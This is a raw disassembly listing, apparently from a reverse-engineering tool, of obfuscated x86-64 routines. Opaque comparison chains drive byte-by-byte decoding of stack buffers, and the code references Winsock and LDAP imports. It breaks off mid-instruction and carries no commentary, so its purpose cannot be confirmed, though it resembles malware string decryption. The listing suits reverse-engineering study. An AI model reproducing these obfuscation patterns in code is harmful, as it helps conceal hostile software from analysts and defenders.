lea rax, [r9 + 1]
cmp r8, rax
jb 0x140096c9c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140096c79
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140096360
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140096346
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009632c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400964e4
lea r8, [r9 + 9]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400964ab
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140096483
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140096460
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009642d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009640a
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400963e2
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400963b4
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140096383
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x400]
jmp 0x1400961f0
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 3
jmp 0x1400961e0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x31
jmp 0x140096170
movabs rcx, 0xf5bc5ce78e112d17
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5f
jmp 0x1400960f4
movabs rdx, 0x1efe5f4672022846
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400960e2
movabs rdx, 0x562367615b0b6264
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400960e2
movabs rdx, 0x8d486f7c44149c82
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096b48
movabs rcx, 0xc46d77972d1dd6a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
jmp 0x140096b90
movabs rcx, 0xfb927fb2162710be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400960e2
movabs rcx, 0x32b787ccff304adc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x140096bce
movabs rdx, 0x69dc8fe7e83984fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096bfc
movabs rdx, 0xa1019802d142bf18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
movabs rdx, 0x504d4496d2f57ebd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400969e7
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400967b9
movabs rdx, 0xee1688cb3c66936d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 5
add r11b, dl
cmp r8, 5
jae 0x1400969b8
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400968bf
movabs rdx, 0x2b11b3b0ad85b132
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
add r11b, dl
cmp r9, 0x200
jb 0x1400969a8
movabs rcx, 0x39f62a393296c06
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x54]
jmp 0x140096ad1
movabs rdx, 0x135219b161d660f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400960e2
movabs rdx, 0x4a7721cc4adf9b16
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096b90
movabs rcx, 0x819c29e733e8d534
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140096b48
movabs rcx, 0xb8c132021cf20f52
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3e
dec rdi
inc rdi
jmp 0x1400960e2
movabs rcx, 0xefe63a1d05fb4970
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400960e2
movabs rdx, 0x270b4237ef04838e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096ad1
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400966da
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x69
jmp 0x140096506
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096720
movabs rdx, 0x79f655cae23e3b8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
inc rax
cmp r8, rax
jne 0x140096750
movabs rdx, 0xbac4595102bc74e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
jmp 0x140096bcb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096780
movabs rcx, 0x9d62355f3e195312
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
jmp 0x140096b90
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096506
movabs rcx, 0xf7f31d0e82fda4b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
inc r9
dec rdi
inc rdi
jmp 0x1400960e2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400967e9
movabs rcx, 0xb6f180b0535d594f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x29
jmp 0x140096ad1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009681f
movabs rcx, 0x48a7707a814ae513
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x7b
dec rdi
inc rdi
jmp 0x1400960e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009684f
movabs rcx, 0x1182685f9841aaf5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
jmp 0x140096b48
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009687f
movabs rcx, 0xda5d6044af3870d7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1f
jmp 0x140096b90
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096545
movabs rcx, 0xa3385829c62f36b9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xf
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400960e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096905
movabs rdx, 0xf3ecab95c47c7714
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
inc rax
cmp r8, rax
jne 0x140096939
movabs rdx, 0xbcc7a37adb733cf6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096bfc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009696d
movabs rdx, 0xe033830f374e547e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
jmp 0x140096b48
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096581
movabs rdx, 0xa90e7af44e451a60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400960e2
mov byte [rbp + rdi + 0x880], r11b
inc rdi
jmp 0x1400960e2
movabs rdx, 0xcc7a5a88aa2031e8
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x880]
sub r11b, al
sub r11b, 0x58
add r11b, dl
add r11b, bl
jmp 0x140096b48
movabs rdx, 0x9555526dc116f7ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x880]
add r11b, dl
add r11b, bl
jmp 0x140096bce
movabs rcx, 0x4cade1f33fcc12b7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec r11b
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
movabs rcx, 0xbaf7f22911de86f3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5b
jmp 0x140096bce
movabs rcx, 0x2942025ee3f0fb2f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x49
jmp 0x140096b90
movabs rcx, 0x5d622ca8815e3a7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6f
jmp 0x140096ad1
movabs rcx, 0x742033005a2857e3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
movabs rcx, 0x680cde961ea4cef7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x3f
add bl, cl
mov byte [rbp + rdi + 0x880], bl
inc r9
dec rdi
inc rdi
jmp 0x1400960e2
movabs rcx, 0xe26a43362c3acc1f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x27
dec rdi
inc rdi
jmp 0x1400960e2
movabs rcx, 0x198f4b511544063d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
movabs rcx, 0x30e7d67b359b94d9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x11
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0x880], bl
jmp 0x140096b90
movabs rcx, 0x50b4536bfe4d405b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7d
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400960e2
mov rbx, r10
movabs rdx, 0xbefe63a1d05fb497
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x21
add r11b, dl
movabs rcx, 0xf9c2ce604c925abb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x1d
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x880], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x5e304a52d80dbdac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x880], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
movabs rcx, 0x2d4873d7a27228d3
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3b
movzx eax, byte [rbp + rdi + 0x880]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400960e2
movabs rcx, 0x2ce16502771a6735
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x73
jmp 0x1400960e0
movabs rcx, 0x64066d1d6023a153
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x45
jmp 0x1400960d0
lea rcx, [rbp + 0x166826c]
jmp 0x140096cde
lea rcx, [rbp + 0xa1e55d]
jmp 0x140096cde
lea rcx, [rbp + 0x880]
call fcn.140036770
mov byte [rbp + 0x8d0], 0xe1
mov byte [rbp + 0x8d1], 0x62
mov byte [rbp + 0x8d2], Ordinal_217
mov byte [rbp + 0x8d3], recv
mov byte [rbp + 0x8d4], WSASetLastError
mov byte [rbp + 0x8d5], WSASetLastError
mov byte [rbp + 0x8d6], Ordinal_30
mov byte [rbp + 0x8d7], WSASetLastError
mov byte [rbp + 0x8d8], 0xfe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8d9], xmm0
mov qword [rbp + 0x8e9], rax
mov word [rbp + 0x8f1], ax
movabs rdi, 0x8a56979ade5ce68b
movabs rsi, 0x161bab7f097acd5
movabs r15, 0x98df8d50847e541f
movabs r14, 0xcfa2a016e79b0497
movabs r12, 0x9de38575de9e5c59
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140097bb3
movzx r11d, byte [rbp + rbx + 0x8d0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140097ba7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140096de3
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x27
jmp 0x140096e10
je 0x140097b1f
lea rax, [r9 + 2]
cmp r8, rax
je 0x140097a80
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097a4d
lea rax, [r9 + 7]
cmp r8, rax
je 0x140097a20
cmp r9, rbx
ja 0x140097b9b
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140096e41
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
jmp 0x140096e80
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400979cf
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009799b
lea rax, [rcx + 1]
cmp r8, rax
je 0x140097977
lea rax, [r9 + 7]
cmp r8, rax
je 0x140097942
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140097514
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400974f0
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400974be
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009748f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009746b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140097434
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400973fb
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400973d7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400973b3
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140097379
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096e90
lea r8, [r9 + 2]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140097b77
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140097b53
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009707b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140097060
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140097045
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140097319
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400972b4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140097265
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140097236
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140096e90
lea r8, [r9 + 4]
lea r9, [r8 + 2]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400971fc
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400971d3
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400971af
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140097176
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009713a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140097116
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400970ec
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400970ba
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140097096
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140096e90
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x40]
jmp 0x140096e90
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x140096e80
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x140096e10
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x140096da5
movabs rcx, 0x52b4bcd6f2e73458
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400979ee
movabs rdx, 0x20f5a235e9ea8c1a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140096d92
movabs rcx, 0xef368794e0ede3dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x140096d92
movabs rcx, 0xbd776cf3d7f13b9e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x1400978d0
movabs rdx, 0x8bb85252cef49360
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rdx, 0x59f937b1c5f7eb22
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rcx, 0x283a1d10bcfb42e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x140097aa2
movabs rdx, 0xf67b026fb3fe9aa6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140097ad5
movabs rdx, 0xc4bbe7ceab01f268
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
movabs rcx, 0xc85e253c148a4dcd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
mov byte [rbp + rbx + 0x8d0], r10b
inc rbx
jmp 0x140096d92
movabs rcx, 0x969f0a9b0b8da58f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x17
cmp r9, 5
jb 0x140097255
movabs rcx, 0xe9124e14ca55845a
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400979ee
movabs rcx, 0x64dfeffa0290fd51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
cmp r8, 0x400
jae 0x1400978a5
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400977bc
movabs rdx, 0xf79b43ca7076f1ee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140097284
movabs rcx, 0x3320d558f9945513
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140097911
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14009768e
movabs rcx, 0x6d44ac2f921a0b63
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
jmp 0x1400972d3
movabs rdx, 0x3e078da1362d6742
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
movabs rcx, 0xc4873002d30bf04
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x140097ad5
movabs rcx, 0xda89585f243416c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x140097aa2
movabs rdx, 0xa8ca3dbe1b376e88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rcx, 0x770b231d123ac64a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rcx, 0x454c087c093e1e0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400978d0
movabs rdx, 0x138ceddb004175ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140096d92
movabs rdx, 0xe1cdd339f744cd90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140096d92
movabs rcx, 0xb00eb898ee482552
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400979ee
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14009753f
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
jmp 0x140097338
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097586
movabs rdx, 0x14ad2f35bcb9cd16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
inc rax
cmp r8, rax
jne 0x1400975b6
movabs rcx, 0x466c49d6c5b67554
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x140097ad5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400975e7
movabs rcx, 0xd68b45ae9a9164c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400978d0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140097623
movabs rdx, 0x3f27cefbf2a5be8a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009765d
movabs rcx, 0x70e6e99cfba266c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
inc r9
dec rbx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140097338
movabs rcx, 0xa2a6043e049f0f06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x1400979ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400976bf
movabs rcx, 0x9f03c6d09b16b3a1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x1400979ee
inc rax
cmp r8, rax
jne 0x1400976f5
movabs rcx, 0x281fc12ad10041d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
dec rbx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097739
movabs rcx, 0x66003154bf095499
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009777a
movabs rcx, 0x97bf4bf5c805fcd7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400972d3
movabs rcx, 0x2cfc9bd8e2fbf591
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400977fe
movabs rcx, 0x295a5e6b79739a2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009783f
movabs rcx, 0xbe97ae4e946992e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009786f
movabs rdx, 0x2215e390a662e362
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
